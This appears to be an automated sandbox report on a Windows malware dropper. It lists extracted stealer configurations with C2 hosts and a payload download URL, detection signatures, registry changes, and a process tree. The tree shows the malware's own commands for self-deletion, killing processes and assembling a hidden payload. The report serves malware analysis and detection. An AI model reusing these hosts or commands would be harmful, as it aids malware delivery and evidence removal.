cryptbot | 36c1ab5e18f20ba99b86a8f995b83a3909f9d3e8d8d7fd573ac1c4813fd2e31e

Analysis

max time kernel
105s
max time network
161s
platform
windows10_x64
resource
win10v20210410
submitted
08/06/2021, 07:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
B00F279B575B3F07A06352A37A378323.exe
Size 8KB
Sample210608-7mgw7apjp2
SHA256 36c1ab5e18f20ba99b86a8f995b83a3909f9d3e8d8d7fd573ac1c4813fd2e31e
MD5 b00f279b575b3f07a06352a37a378323
SHA1 e314c43e297237cad9173cf65c774f99b56acbfc
SHA512 e00b39b0bdcb68583af082a41ec8ff351933519d8942644955327922669d73de52af92f660fd099be19fe9bf947fafa88647da900a95285bcd7eb82092f4e2bb
MD5 SHA1 SHA512

Malware Config

Extracted

Family

redline

Botnet

SubNEW

cengonic.xyz:80

Extracted

Family

redline

Botnet

Kolya

195.201.17.219:25524

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

Botnet

116.202.18.132:38563

Extracted

Family

raccoon

Botnet

28198d4512d0cf31c204eddceb4471d79950b588

Attributes

url4cnc
https://tttttt.me/capibar

rc4.plain

Extracted

Family

cryptbot

olmjby22.top
mortyl02.top

Attributes

payload_url
http://vamzxy03.top/download.php?file=lv.exe

Signatures

CryptBot
A C++ stealer distributed widely in bundle with other software.
spyware stealer cryptbot

CryptBot Payload 2 IoCs

resource	yara_rule
behavioral2/memory/4820-252-0x0000000000400000-0x00000000004E5000-memory.dmp	family_cryptbot
behavioral2/memory/4820-251-0x0000000002180000-0x0000000002261000-memory.dmp	family_cryptbot

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

resource	yara_rule
behavioral2/memory/1444-195-0x0000000002F60000-0x000000000386C000-memory.dmp	family_glupteba
behavioral2/memory/1444-197-0x0000000000400000-0x0000000000D26000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral2/memory/1388-170-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral2/memory/1388-171-0x0000000000417D7E-mapping.dmp	family_redline
behavioral2/memory/3116-182-0x0000000002220000-0x000000000223A000-memory.dmp	family_redline
behavioral2/memory/3116-184-0x0000000002460000-0x0000000002479000-memory.dmp	family_redline
behavioral2/memory/4372-219-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral2/memory/4372-220-0x0000000000417D92-mapping.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2488 created 1444	2488	svchost.exe	76

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file

Executes dropped EXE 21 IoCs

pid	Process
1444	https___leselesp.info_app.exe.exe
2824	http___212.192.241.136_files_file1.exe.exe
3400	http___212.192.241.136_files_file2.exe.exe
3116	http___212.192.241.136_files_file3.exe.exe
3144	http___212.192.241.136_files_file7.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
1404	http___212.192.241.136_files_file6.exe.exe
1220	http___212.192.241.136_files_file5.exe.exe
3872	Driver.exe
4168	65943618003.exe
4372	http___212.192.241.136_files_file5.exe.exe
4820	42210500297.exe
5032	71499969329.exe
4308	edspolishpp.exe
4392	https___leselesp.info_app.exe.exe
4200	obJSfpWc.exe
4580	4.exe
4500	vpn.exe
4920	SmartClock.exe
3212	Ritornata.exe.com
5100	Ritornata.exe.com

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	http___212.192.241.136_files_file2.exe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	http___212.192.241.136_files_file2.exe.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SmartClock.lnk	4.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	http___212.192.241.136_files_file8.exe.exe

Loads dropped DLL 6 IoCs

pid	Process
4168	65943618003.exe
4168	65943618003.exe
4168	65943618003.exe
4168	65943618003.exe
4168	65943618003.exe
4200	obJSfpWc.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000100000001ab2e-125.dat	themida
behavioral2/files/0x000100000001ab2e-124.dat	themida
behavioral2/memory/3400-162-0x0000000000DB0000-0x0000000000DB1000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\http___212.192.241.136_files_file8.exe.exe"	http___212.192.241.136_files_file8.exe.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	http___212.192.241.136_files_file2.exe.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3400	http___212.192.241.136_files_file2.exe.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3144 set thread context of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 1220 set thread context of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\foler\olader\acppage.dll	obJSfpWc.exe
File created	C:\Program Files (x86)\foler\olader\adprovider.dll	obJSfpWc.exe
File created	C:\Program Files (x86)\foler\olader\acledit.dll	obJSfpWc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	71499969329.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	71499969329.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	42210500297.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	42210500297.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4776	timeout.exe
4760	timeout.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
5060	taskkill.exe
4896	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	https___leselesp.info_app.exe.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	https___leselesp.info_app.exe.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	https___leselesp.info_app.exe.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4380	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4920	SmartClock.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3400	http___212.192.241.136_files_file2.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
1388	AddInProcess32.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
3400	http___212.192.241.136_files_file2.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe
2136	http___212.192.241.136_files_file8.exe.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	B00F279B575B3F07A06352A37A378323.exe
Token: SeDebugPrivilege	2136	http___212.192.241.136_files_file8.exe.exe
Token: SeDebugPrivilege	3144	http___212.192.241.136_files_file7.exe.exe
Token: SeDebugPrivilege	3400	http___212.192.241.136_files_file2.exe.exe
Token: SeDebugPrivilege	1388	AddInProcess32.exe
Token: SeLockMemoryPrivilege	3872	Driver.exe
Token: SeLockMemoryPrivilege	3872	Driver.exe
Token: SeDebugPrivilege	3116	http___212.192.241.136_files_file3.exe.exe
Token: SeDebugPrivilege	1220	http___212.192.241.136_files_file5.exe.exe
Token: SeDebugPrivilege	1404	http___212.192.241.136_files_file6.exe.exe
Token: SeDebugPrivilege	4372	http___212.192.241.136_files_file5.exe.exe
Token: SeDebugPrivilege	4896	taskkill.exe
Token: SeDebugPrivilege	5060	taskkill.exe
Token: SeDebugPrivilege	1444	https___leselesp.info_app.exe.exe
Token: SeImpersonatePrivilege	1444	https___leselesp.info_app.exe.exe
Token: SeTcbPrivilege	2488	svchost.exe
Token: SeTcbPrivilege	2488	svchost.exe
Token: SeDebugPrivilege	4308	edspolishpp.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4820	42210500297.exe
4820	42210500297.exe
4500	vpn.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 1444	2184	B00F279B575B3F07A06352A37A378323.exe	76
PID 2184 wrote to memory of 1444	2184	B00F279B575B3F07A06352A37A378323.exe	76
PID 2184 wrote to memory of 1444	2184	B00F279B575B3F07A06352A37A378323.exe	76
PID 2184 wrote to memory of 2824	2184	B00F279B575B3F07A06352A37A378323.exe	77
PID 2184 wrote to memory of 2824	2184	B00F279B575B3F07A06352A37A378323.exe	77
PID 2184 wrote to memory of 2824	2184	B00F279B575B3F07A06352A37A378323.exe	77
PID 2184 wrote to memory of 3400	2184	B00F279B575B3F07A06352A37A378323.exe	78
PID 2184 wrote to memory of 3400	2184	B00F279B575B3F07A06352A37A378323.exe	78
PID 2184 wrote to memory of 3400	2184	B00F279B575B3F07A06352A37A378323.exe	78
PID 2184 wrote to memory of 3116	2184	B00F279B575B3F07A06352A37A378323.exe	79
PID 2184 wrote to memory of 3116	2184	B00F279B575B3F07A06352A37A378323.exe	79
PID 2184 wrote to memory of 3116	2184	B00F279B575B3F07A06352A37A378323.exe	79
PID 2184 wrote to memory of 3144	2184	B00F279B575B3F07A06352A37A378323.exe	83
PID 2184 wrote to memory of 3144	2184	B00F279B575B3F07A06352A37A378323.exe	83
PID 2184 wrote to memory of 3144	2184	B00F279B575B3F07A06352A37A378323.exe	83
PID 2184 wrote to memory of 2136	2184	B00F279B575B3F07A06352A37A378323.exe	80
PID 2184 wrote to memory of 2136	2184	B00F279B575B3F07A06352A37A378323.exe	80
PID 2184 wrote to memory of 2136	2184	B00F279B575B3F07A06352A37A378323.exe	80
PID 2184 wrote to memory of 1404	2184	B00F279B575B3F07A06352A37A378323.exe	81
PID 2184 wrote to memory of 1404	2184	B00F279B575B3F07A06352A37A378323.exe	81
PID 2184 wrote to memory of 1404	2184	B00F279B575B3F07A06352A37A378323.exe	81
PID 2184 wrote to memory of 1220	2184	B00F279B575B3F07A06352A37A378323.exe	82
PID 2184 wrote to memory of 1220	2184	B00F279B575B3F07A06352A37A378323.exe	82
PID 2184 wrote to memory of 1220	2184	B00F279B575B3F07A06352A37A378323.exe	82
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 3144 wrote to memory of 1388	3144	http___212.192.241.136_files_file7.exe.exe	84
PID 2824 wrote to memory of 3328	2824	http___212.192.241.136_files_file1.exe.exe	86
PID 2824 wrote to memory of 3328	2824	http___212.192.241.136_files_file1.exe.exe	86
PID 2824 wrote to memory of 3328	2824	http___212.192.241.136_files_file1.exe.exe	86
PID 2136 wrote to memory of 3872	2136	http___212.192.241.136_files_file8.exe.exe	85
PID 2136 wrote to memory of 3872	2136	http___212.192.241.136_files_file8.exe.exe	85
PID 3328 wrote to memory of 4168	3328	cmd.exe	89
PID 3328 wrote to memory of 4168	3328	cmd.exe	89
PID 3328 wrote to memory of 4168	3328	cmd.exe	89
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 1220 wrote to memory of 4372	1220	http___212.192.241.136_files_file5.exe.exe	90
PID 4168 wrote to memory of 4688	4168	65943618003.exe	91
PID 4168 wrote to memory of 4688	4168	65943618003.exe	91
PID 4168 wrote to memory of 4688	4168	65943618003.exe	91
PID 2824 wrote to memory of 4728	2824	http___212.192.241.136_files_file1.exe.exe	93
PID 2824 wrote to memory of 4728	2824	http___212.192.241.136_files_file1.exe.exe	93
PID 2824 wrote to memory of 4728	2824	http___212.192.241.136_files_file1.exe.exe	93
PID 4688 wrote to memory of 4776	4688	cmd.exe	95
PID 4688 wrote to memory of 4776	4688	cmd.exe	95
PID 4688 wrote to memory of 4776	4688	cmd.exe	95
PID 2184 wrote to memory of 4804	2184	B00F279B575B3F07A06352A37A378323.exe	96
PID 2184 wrote to memory of 4804	2184	B00F279B575B3F07A06352A37A378323.exe	96
PID 4728 wrote to memory of 4820	4728	cmd.exe	97
PID 4728 wrote to memory of 4820	4728	cmd.exe	97
PID 4728 wrote to memory of 4820	4728	cmd.exe	97
PID 4804 wrote to memory of 4896	4804	cmd.exe	99
PID 4804 wrote to memory of 4896	4804	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\B00F279B575B3F07A06352A37A378323.exe
"C:\Users\Admin\AppData\Local\Temp\B00F279B575B3F07A06352A37A378323.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Users\Admin\Documents\https___leselesp.info_app.exe.exe
  "C:\Users\Admin\Documents\https___leselesp.info_app.exe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- - C:\Users\Admin\Documents\https___leselesp.info_app.exe.exe
    "C:\Users\Admin\Documents\https___leselesp.info_app.exe.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4392
- C:\Users\Admin\Documents\http___212.192.241.136_files_file1.exe.exe
  "C:\Users\Admin\Documents\http___212.192.241.136_files_file1.exe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\65943618003.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\65943618003.exe
      "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\65943618003.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:4168
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\65943618003.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4688
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        6⤵
        Delays execution with timeout.exe
        
        PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\42210500297.exe" /mix
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\42210500297.exe
      "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\42210500297.exe" /mix
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious use of FindShellTrayWindow
      PID:4820
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\obJSfpWc.exe"
        5⤵
        
        PID:4496
      - C:\Users\Admin\AppData\Local\Temp\obJSfpWc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\obJSfpWc.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:4200
        
        C:\Users\Admin\AppData\Local\Temp\New Feature\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\New Feature\vpn.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:4500
        
        C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\System32\dllhost.exe"
        8⤵
        
        PID:2796
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c cmd < Questa.mui
        8⤵
        
        PID:2916
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        9⤵
        
        PID:4740
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^bkKukanvvIaviummCuKudmQWXJRADyBlRAsoRwEThgwuiCesPIojDwzYxNpBAXTdiiEGPdHACRTwbKPxGALUXfHPizOtSezfcKZZYcCnqHJMosAJYPUqkYzRAOnvCDI$" Tocchi.mui
        10⤵
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Ritornata.exe.com
        
        Ritornata.exe.com h
        10⤵
        Executes dropped EXE
        
        PID:3212
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Ritornata.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Ritornata.exe.com h
        11⤵
        Executes dropped EXE
        
        PID:5100
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 30
        10⤵
        Runs ping.exe
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\Temp\New Feature\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\New Feature\4.exe"
        7⤵
        Executes dropped EXE
        Drops startup file
        
        PID:4580
        
        C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
        
        "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: AddClipboardFormatListener
        
        PID:4920
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\TGnvJMPGrhbD & timeout 3 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\42210500297.exe"
        5⤵
        
        PID:4672
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:4760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\71499969329.exe" /mix
    3⤵
    PID:4920
  - - C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\71499969329.exe
      "C:\Users\Admin\AppData\Local\Temp\{Brdk-CWOAD-SEyN-IrNyM}\71499969329.exe" /mix
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:5032
    - - C:\Users\Admin\AppData\Roaming\nailedp\edspolishpp.exe
        
        edspolishpp.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4308
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "http___212.192.241.136_files_file1.exe.exe" /f & erase "C:\Users\Admin\Documents\http___212.192.241.136_files_file1.exe.exe" & exit
    3⤵
